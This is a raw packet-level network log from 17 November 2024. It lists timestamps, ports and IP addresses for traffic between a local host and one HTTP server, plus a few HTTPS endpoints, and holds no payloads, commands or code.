Nov 17, 2024 12:35:39.711113930 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711126089 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711136103 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711139917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711153984 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711167097 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711182117 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711234093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711247921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711262941 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711273909 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711286068 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711287022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711298943 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711302996 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711327076 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711333036 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711405039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711417913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711431026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711438894 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711447954 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711453915 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711471081 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711471081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711487055 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711510897 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711510897 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711527109 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711587906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711600065 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711613894 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711621046 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711628914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711636066 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711648941 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711663961 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711699963 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711715937 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711750031 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711838961 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711853027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711868048 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711882114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711888075 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711896896 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711913109 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711915016 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711929083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711931944 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711944103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711955070 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711970091 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711983919 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.712066889 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.712080002 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.712093115 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.712100983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.712110043 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.712116003 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.712125063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.712136984 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.712140083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.712146997 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.712163925 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.712177038 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.712284088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.712300062 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.712315083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.712320089 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.712330103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.712346077 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.712346077 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.712361097 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.712376118 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.712394953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.712476015 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.712491035 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.712508917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.712526083 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.712549925 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.731076002 CET	443	49901	204.79.197.219	192.168.2.5
Nov 17, 2024 12:35:39.731081963 CET	443	49902	204.79.197.219	192.168.2.5
Nov 17, 2024 12:35:39.731484890 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:39.731508970 CET	443	49901	204.79.197.219	192.168.2.5
Nov 17, 2024 12:35:39.731633902 CET	49902	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:39.731651068 CET	443	49902	204.79.197.219	192.168.2.5
Nov 17, 2024 12:35:39.732491970 CET	443	49901	204.79.197.219	192.168.2.5
Nov 17, 2024 12:35:39.732544899 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:39.732948065 CET	443	49902	204.79.197.219	192.168.2.5
Nov 17, 2024 12:35:39.733011007 CET	49902	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:39.733779907 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:39.733853102 CET	443	49901	204.79.197.219	192.168.2.5
Nov 17, 2024 12:35:39.733905077 CET	49902	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:39.733973980 CET	443	49902	204.79.197.219	192.168.2.5
Nov 17, 2024 12:35:39.749568939 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.749618053 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.749625921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.749633074 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.749656916 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.749676943 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.762831926 CET	443	49904	23.198.7.180	192.168.2.5
Nov 17, 2024 12:35:39.763190031 CET	49904	443	192.168.2.5	23.198.7.180
Nov 17, 2024 12:35:39.763205051 CET	443	49904	23.198.7.180	192.168.2.5
Nov 17, 2024 12:35:39.764662027 CET	443	49904	23.198.7.180	192.168.2.5
Nov 17, 2024 12:35:39.764719963 CET	49904	443	192.168.2.5	23.198.7.180
Nov 17, 2024 12:35:39.768146038 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.768148899 CET	49904	443	192.168.2.5	23.198.7.180
Nov 17, 2024 12:35:39.768157005 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.768199921 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.768220901 CET	49891	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.768229961 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.768234015 CET	443	49904	23.198.7.180	192.168.2.5
Nov 17, 2024 12:35:39.768282890 CET	49891	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.770039082 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.770056963 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.770127058 CET	49891	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.770136118 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.770204067 CET	49891	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.782804966 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:39.782809019 CET	49902	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:39.782814026 CET	443	49901	204.79.197.219	192.168.2.5
Nov 17, 2024 12:35:39.782821894 CET	443	49902	204.79.197.219	192.168.2.5
Nov 17, 2024 12:35:39.800172091 CET	443	49903	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:39.800839901 CET	49903	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:39.800852060 CET	443	49903	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:39.801966906 CET	443	49903	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:39.802958012 CET	49903	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:39.803124905 CET	443	49903	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:39.803390026 CET	49903	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:39.814765930 CET	49904	443	192.168.2.5	23.198.7.180
Nov 17, 2024 12:35:39.814779043 CET	443	49904	23.198.7.180	192.168.2.5
Nov 17, 2024 12:35:39.823930025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.823949099 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.823975086 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.823991060 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.824012041 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.824054956 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.824075937 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.824079990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.824125051 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.824307919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.824321032 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.824337006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.824368000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.824388981 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.824413061 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.824426889 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.824465036 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.824558973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.824577093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.824582100 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.824595928 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.824620962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.824662924 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.827025890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827052116 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827088118 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827110052 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827148914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827164888 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827179909 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827204943 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827239037 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827255011 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827280998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827297926 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827327967 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827330112 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827357054 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827385902 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827714920 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827759027 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827764988 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827778101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827795029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827802896 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827817917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827821970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827841043 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827857971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827877045 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827891111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827904940 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827915907 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827929020 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827934980 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827944040 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827953100 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827958107 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.827975988 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.827996016 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828003883 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828099966 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828114986 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828130007 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828152895 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828155994 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828170061 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828191996 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828207970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828263998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828277111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828291893 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828309059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828316927 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828320980 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828350067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828362942 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828377962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828408003 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828442097 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828455925 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828470945 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828486919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828495026 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828530073 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828602076 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828615904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828629971 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828646898 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828648090 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828677893 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828679085 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828705072 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828732967 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828773975 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828788042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828802109 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828811884 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828819990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828830957 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828835011 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828850031 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828850031 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828871012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828898907 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.828974009 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.828988075 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829000950 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829015970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829016924 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829031944 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829035997 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829047918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829051018 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829073906 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829102993 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829148054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829164028 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829179049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829195976 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829206944 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829241991 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829272985 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829287052 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829310894 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829341888 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829360008 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829375982 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829391956 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829407930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829413891 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829422951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829448938 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829468012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829608917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829622984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829638004 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829653025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829687119 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:39.829689026 CET	49902	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:39.829699039 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829740047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829756021 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829796076 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829807997 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829823971 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829848051 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829890013 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829899073 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829914093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829927921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.829955101 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829982042 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.829998970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830013990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830028057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830054045 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830082893 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830102921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830118895 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830133915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830161095 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830198050 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830251932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830266953 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830291986 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830307007 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830316067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830321074 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830336094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830337048 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830352068 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830368042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830369949 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830390930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830396891 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830421925 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830441952 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830575943 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830589056 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830610991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830616951 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830626011 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830641985 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830657959 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830662012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830672979 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830682039 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830688953 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830702066 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830714941 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830717087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830734968 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830766916 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.830951929 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830976009 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.830991030 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.831006050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.831020117 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.831021070 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.831036091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.831038952 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.831053019 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.831060886 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.831068039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.831084013 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.831094027 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.831096888 CET	80	49778	185.215.113.206	192.168.2.5
